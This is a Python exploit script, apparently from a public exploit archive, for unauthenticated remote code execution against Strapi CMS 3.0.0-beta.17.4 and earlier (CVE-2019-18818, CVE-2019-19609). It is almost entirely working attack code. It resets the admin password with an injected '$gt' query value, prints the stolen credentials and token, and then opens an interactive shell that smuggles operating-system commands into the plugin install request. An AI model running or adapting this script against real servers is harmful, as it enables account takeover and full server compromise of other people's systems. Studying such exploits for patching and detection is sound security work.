# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) # Date: 2021-08-30 # Exploit Author: Musyoka Ian # Vendor Homepage: https://strapi.io/ # Software Link: https://strapi.io/ # Version: Strapi CMS version 3.0.0-beta.17.4 or lower # Tested on: Ubuntu 20.04 # CVE : CVE-2019-18818, CVE-2019-19609 #!/usr/bin/env python3 import requests import json from cmd import Cmd import sys if len(sys.argv) != 2: print("[-] Wrong number of arguments provided") print("[*] Usage: python3 exploit.py \n") sys.exit() class Terminal(Cmd): prompt = "$> " def default(self, args): code_exec(args) def check_version(): global url print("[+] Checking Strapi CMS Version running") version = requests.get(f"{url}/admin/init").text version = json.loads(version) version = version["data"]["strapiVersion"] if version == "3.0.0-beta.17.4": print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n") else: print("[-] Version mismatch trying the exploit anyway") def password_reset(): global url, jwt session = requests.session() params = {"code" : {"$gt":0}, "password" : "SuperStrongPassword1", "passwordConfirmation" : "SuperStrongPassword1" } output = session.post(f"{url}/admin/auth/reset-password", json = params).text response = json.loads(output) jwt = response["jwt"] username = response["user"]["username"] email = response["user"]["email"] if "jwt" not in output: print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n") sys.exit(1) else: print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n") def code_exec(cmd): global jwt, url print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output") headers = {"Authorization" : f"Bearer {jwt}"} data = {"plugin" : f"documentation && $({cmd})", "port" : "1337"} out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers) print(out.text) if __name__ == ("__main__"): url = sys.argv[1] if url.endswith("/"): url = url[:-1] check_version() password_reset() terminal = Terminal() terminal.cmdloop()